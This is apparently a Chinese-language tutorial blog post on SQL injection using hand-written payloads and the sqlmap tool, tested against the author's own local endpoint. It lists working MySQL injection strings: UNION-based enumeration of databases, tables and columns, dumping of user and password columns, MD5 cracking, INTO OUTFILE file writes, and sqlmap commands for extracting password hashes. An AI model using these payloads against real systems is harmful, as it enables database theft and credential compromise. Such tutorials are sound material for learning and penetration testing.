1. 程式人生 > >[實戰]使用SQLmap進行SQL注入

[實戰]使用SQLmap進行SQL注入


一、什麼是SQLmap? SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(資料庫指紋、訪問底層檔案系統、執行命令)。 備註:SQLmap是python程式碼

二、SQL注入

自行百度

三、SQLmap安裝 可以點選 https://github.com/sqlmapproject/sqlmap/tarball/master 下載最新版本sqlmap

也可以使用git來獲取sqlmap git clone  https://github.com/sqlmapproject/sqlmap.git
 sqlmap-dev 之後可以直接使用命令來更新 python sqlmap.py --update 或者 git pull 更新sqlmap 驗證安裝成功: 進入sqlmap.py所在的目錄,執行以下命令: #python sqlmap.py -h
四、SQLmap命令 SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、列舉等。
五 、sql注入後我們可以做什麼? 列舉MYSQL使用者名稱與密碼、列舉所有資料庫、列舉指定資料庫的資料表、列舉指定資料表中的所有使用者名稱與密碼等等 ....
六、 人為簡單
進行sql注入 以我自己寫的一個介面為例,訪問地址為: http://127.0.0.1:8081/?id=1 這個介面很簡單,使用拼接sql的形式,根據id查詢資料,此處我就不給出專案程式碼   [第零步]: 猜一下資料庫。像我一搬預設為mysql   [第一步]: 找到注入點 - 以mysql為例 1. 經典 ' or '1'='1 2. 使用sleep(N) 函式 -- 部分版本不支援 通過在語句中新增一個sleep(N)函式,強制讓語句停留N秒鐘,來檢視後臺執行緒,例如: select sleep(1),name from animals where name='tiger'; 但是使用這個辦法是有前提條件的,也只指定條件的記錄存在時才會停止指定的秒數,例如查詢條件為name='pig',結果表明記錄不存在,執行時間為 另外需要注意的是,新增sleep(N)這個函式後,語句的執行具體會停留多長時間取決於滿足條件的記錄數,MySQL會對每條滿足條件的記錄停留N秒鐘。 例如,name like '%ger'的記錄有三條 也可以加在後面: SELECT * FROM cachet.QRTZ_CRON_TRIGGERS where SCHED_NAME='CachetScheduler' and sleep(1);
第三步: 破解查詢列數 方法1: ' union select 1,2,3 from (select 1,2,3,4,5,6,7,8,9) as a where '1'='1 方法2: order by 1 (這種方式我還沒有搞明白)
第四步:爆出當前資料庫的基本資訊 1. 獲取資料庫名: ' union select 1,2,database() from (select 1,2,3,4,5,6,7,8,9) as a where '1'='1 配合使用函式: concat(user(),0x20,database(),0x20,version())
第五步:爆出所有的資料庫名 知識準備: information_schema資料庫中存在columns表 information_schema資料庫是在MYSQL的版本5.0之後產生的,一個虛擬資料庫,物理上並不存在。information_schema資料庫類似與“資料字典”,提供了訪問資料庫元資料的方式,即資料的資料。比如資料庫名或表名,列型別,訪問許可權(更加細化的訪問方式)。information_schema是一個由資料庫的元資料組成的資料庫。裡面儲存的是MYSQL的資料庫基本資訊。並隨時改變。用於檢視資訊以及系統決策時作為重要的資訊提供者。 MYSQL的版本5.0以上版本,我們藉助information_schema資料庫,來獲取其他資料庫的資訊。用到了group_concat()函式,distinct引數起到了去掉重複顯示的作用。 SQL : ' union select 1,2,group_concat(distinct table_schema) from information_schema.columns as a where '1'='1
第六步:爆出當前的資料庫表名(表名出現後可以根據表名進行猜想) ' union select 1,2,group_concat(distinct table_name) from information_schema.columns as a where table_schema= database() and '1'='1
第七步: 爆出當前資料庫中某個表的列名及值 1. 使用mysql hex() 函式進行16制轉換,然後在前面加上0x即為表名.我在測試時必須使用0x 2. 獲取表列名SQL: 1' union select 1,2,group_concat(distinct column_name) from information_schema.columns as a where table_name= 0x74656D706C6F796565 and '1'='1 3. 獲取表值SQL: 1' union select fcode,fname,fmobile from temployee where '1'='1 說明:如果查出的值判斷有md5加密可以直接進行md5解密獲取使用者名稱密碼 
http://pmd5.com
示例: 本表查詢: http://localhost/injection/user.php?username=angel' and LENGTH(password)='6 http://localhost/injection/user.php?username=angel' and LEFT(password,1)='m Union聯合語句: http://localhost/injection/show.php?id=1' union select 1,username,password from user/* http://localhost/injection/show.php?id=' union select 1,username,password from user/* 匯出檔案: http://localhost/injection/user.php?username=angel' into outfile 'c:/file.txt http://localhost/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt http://localhost/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt 待辦:是否可以執行update,insert,delete等語句
七、SQLmap概述 當給sqlmap這麼一個url的時候,它會: 1、判斷可注入的引數 2、判斷可以用那種SQL注入技術來注入 3、識別出哪種資料庫 4、根據使用者選擇,讀取哪些資料 sqlmap支援五種不同的注入模式: 1、基於布林的盲注,即可以根據返回頁面判斷條件真假的注入。 2、基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。 3、基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。 4、聯合查詢注入,可以使用union的情況下的注入。 5、堆查詢注入,可以同時執行多條語句的執行時的注入。 sqlmap支援的資料庫有: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
八、使用SQLmap常用命令 SQLmap常用命令,執行SQLmap後會在使用者當前目錄下生成.sqlmap資料,存放掃描記錄 --u : 指定目標URL 例如: python sqlmap.py -u " http://127.0.0.1:8081?id=1" --b : 獲取DBMS banner --dbms : 指定資料庫型別 例如: python sqlmap.py -u " http://127.0.0.1:8081?id=1" --dbms "mysql" --dbs --current-db : 獲取當前資料庫 --current-user:獲取當前使用者 --dbs:獲取所有資料庫 --users : 列舉DBMS使用者 --password : 列舉DBMS使用者密碼hash --D : 要列舉的DBMS資料庫 例如:python sqlmap.py -u " http://127.0.0.1:8081?id=1" --dbms "mysql" -D "zra" --tables : 列舉DBMS資料庫中的資料表 例如: python sqlmap.py -u " http://127.0.0.1:8081?id=1" --dbms "mysql" -D "zra" --tables 如果你想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取資料的,可以使用-v引數。 共有七個等級,預設為1: 0、只顯示python錯誤以及嚴重的資訊。 1、同時顯示基本資訊和警告資訊。(預設) 2、同時顯示debug資訊。 3、同時顯示注入的payload。 4、同時顯示HTTP請求。 5、同時顯示HTTP響應頭。 6、同時顯示HTTP響應頁面。 如果你想看到sqlmap傳送的測試payload最好的等級就是3。 sql注入相關資料 1.常用的MySQL內建函式 DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() database() version() SUBSTRING() MID() char() load_file() 2. 利用mysql 支援16進位制 http://blog.chinaunix.net/uid-120401-id-2963244.html 注入查詢條件轉為16進位制 3. 參考: http://www.111cn.net/database/mysql/53674.htm http://www.111cn.net/database/mysql/75080.htm http://www.111cn.net/database/mysql/114336.htm http://www.111cn.net/database/mysql/94037.htm http://www.111cn.net/database/mysql/116795.htm http://www.111cn.net/database/mysql/58518.htm http://unconciousmind.blogspot.com/search/label/sqlmap